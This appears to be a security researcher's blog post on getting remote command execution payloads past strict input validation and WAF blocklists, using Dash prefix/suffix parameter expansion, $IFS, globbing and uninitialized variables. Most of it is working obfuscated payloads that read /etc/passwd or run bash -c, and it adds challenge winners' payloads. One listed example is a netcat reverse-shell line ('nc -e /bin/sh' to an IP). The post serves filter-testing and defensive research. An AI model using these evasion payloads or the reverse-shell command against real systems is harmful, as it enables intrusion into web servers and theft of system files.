Learn how to bypass strict input validation on a target web application that actively works to prevent you from sending RCE payloads including characters like ' " ; : / & | whitespaces and others.

TL;DR

In a recent post, we've seen how to bypass input validation using Bash globbing patterns. One of these techniques is to use Bash substring to get special characters from environment variable values, for example: ${PATH:0:1} should always be equal than /. Really often, web applications run their webserver on systems or users that don't use Bash but Almquist shell also known as Dash (or sh). Using Dash it's not possible to do a substring with something like ${PATH:0:1}, but we can use two other features named "Remove Prefix Pattern" and "Remove Suffix Pattern". Depending on what's your PATH value is, ${PATH%%u*} should be equal than / if your PATH value start with /usr. You can even use character range syntax: ${PATH%%[a-z]*} should be equal than /.

Remove Prefix and Suffix Pattern

In few words, it's possible to remove part of a variable value starting from left or from right by using %, %%, #, or ## inside the variable name. Let's do some examples:

${parameter%word} Remove Smallest Suffix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the smallest portion of the suffix matched by the pattern deleted.

# TEST="foo.bar.sample"; echo ${TEST%.*}
foo.bar

${parameter%%word} Remove Largest Suffix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the largest portion of the suffix matched by the pattern deleted.

# TEST="foo.bar.sample"; echo ${TEST%%.*}
foo

${parameter#word} Remove Smallest Prefix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the smallest portion of the prefix matched by the pattern deleted.

# TEST="foo.bar.sample"; echo ${TEST#*.}
bar.sample

${parameter##word} Remove Largest Prefix Pattern. The word is expanded to produce a pattern. The parameter expansion then results in parameter, with the largest portion of the prefix matched by the pattern deleted.

# TEST="foo.bar.sample"; echo ${TEST##*.}
sample

One of the use cases of this syntax is to change the extension on a list of filenames. For example, if I want to rename all *.conf files inside /etc/ changing their extension to .txt I could do:

for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done

Input Validation

By testing a virtual patch for a customer that had an RCE vulnerability on their web application, I found a way to bypass his input validation using this technique.

Let say that a web application is vulnerable to Remote Command Execution (something like the arbitrary code execution of Drupalgeddon2) but there's an Input Validation function that prevents sending payloads with special characters like [/"'&|()-;:.,\s\t\n`] and a blacklist of common Unix commands like eval, bash, sh, nc, bas64, etc... (many, many WAF rules does it). If the target web application allows characters $, {, and } there're many way to bypass its input sanitization and exploit the RCE.

In this case, all following payloads would be blocked:

  • code=cat+/etc/passwd (match \s and /)
  • code=/bin/ca?+/e??/??ss?? (match \s and /)
  • code=cd${IFS}/etc;cat${IFS}passwd (match /)
  • code=nc+-e+/bin/sh+10.0.0.1+1234 (match \s - / and .)

So, is it possible to create a payload that doesn't need characters like forward slash, quotes and doesn't trigger the WAF with well known Unix command? I've created this challenge: https://github.com/theMiddleBlue/challenge-bypass-input-validation

The idea is to take special characters from the target shell environment variables. For example, instead of using / character, we can get it from the value of $PATH variable by using substring 0:1 (something like ${PATH:0:1} in Bash)

In the above screenshot, I've concatenated ${PATH:0:1} with the full path of /etc/passwd replacing / with ${PATH:0:1}. The problem is that really often PHP shell is Dash (or /bin/sh) and you can't use this substring syntax to exploit a Remote Command Execution:

In Dash, instead of using substring, it's possible to use "Remove Prefix Pattern" and "Remove Suffix Pattern" syntaxes. For example, dipending on what's inside of target PATH variable:

- ${PATH%%u*}  should be equal to /
- ${PATH##*s????} should be equal to /bin
- ${PATH%%[a-z]*} should be equal to /

So, in order to get the etc/passwd content, I've used this syntax to bypass the webapp input validation:

cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd

Remember: this syntax depends on what value the target PATH variable has. So if the first letter after the / is a "u" (something like PATH=/usr/bin:...) ${PATH%%u*} should be equal to "/". For example, if the target PATH start with PATH=/home/themiddle/bin:... so ${PATH%%h*} should be equal to /.

The problem is that a lazy and weak WAF blocked my payload due to common Unix commands and paths because of the "cat", "etc" and "passwd" strings inside my payload. What I need is to obfuscate my payload using Globbing Patterns but I need the full path to execute commands with globbing patterns something like /bin/c?? instead of "cat". The solution is:

  • execute env and see all variable values
  • take /bin from $PATH with ${PATH##*s????}
  • take / from $PATH with ${PATH%%u*}
  • use $IFS instead of whitespaces

code=${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??

This works well on my terminal, but let see if it works as well exploiting RCE. First I want to check which variable I can use:

And as you can see here, my not-obfuscated payload is blocked by the web application input validation:

blocked by not allowed characters in input

So, at first I need to bypass the filter on "special" characters. As I said, in this case I can use ${PATH%%u*} instead of / and ${IFS} instead of whitespace.

ok, seems working as expected

Now I need to bypass the "WAF" blacklist on common Unix commands and paths. As you can see my payload cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd is blocked:

To bypass it, I can use Globbing Patterns to obfuscate Unix commands and paths, but I need to execute "cat" with the full path /bin/cat to obfuscate it as /b??/c??. So, I can take /bin from ${PATH##*s????}

ok, I got /bin from PATH bypassing validation

Now I want to execute /b??/c?? /e??/??ss?? using this syntax: ${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??

it worked as expected!

Same result using "Uninitialized Variable" to obfuscate commands and paths, like: ${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd

bypass using uninitialized variables

I can execute more complex commands that require argument (such as bash -c) by taking "-" from the first character of $PHP_CFLAGS value. For example, to execute /bin/bash -c ls I can send this payload:

${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s

Bash is easier

If the target, for any reason, use Bash it's possible to use substring syntax (for example taking / from ${PATH:0:1}) that makes bypass more easier. For example:

/bi?/ca? /et?/??sswd becomes:
- ${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswd

Thanks to

Rodolfo @brutelogic for supporting and for all precious advices on writing this article.

Challenge winner 🏆

🥇 1st kusky3 (payload tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd)

🥈 2nd Sparrrgh (payload c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd)

🏅 3rd DrV (payload ca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swd)

4th glauco  (payload c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd)

If you liked

follow me on Twitter https://twitter.com/AndreaTheMiddle

The beautiful artwork used in this article was created by the talented Link Lee.

About The Artwork
‘Soviet Ghosts’ is a personal experimental work, intended to express the beauty hidden in the broken and decayed. This work is inspired by British photographer Rebecca Litchfield's collection of photographs of the same name. Published in 2013, she sensitively and beautifully records many abandoned locations within thirteen countries which were once part of the Soviet Union or occupied territories. I also referenced a large number of images of the remains of the former Soviet Union from the internet. During the creative process I tried to construct and restore the strong sense of realistic representation that was vivid in the photography. At the same time I reorganize the subject and scene and integrate this with my own creativity and understanding in light and shadow and composition. Trying to find a balance point that satisfies myself between hyper-realism and artistic stylization is also a challenge. - Link Lee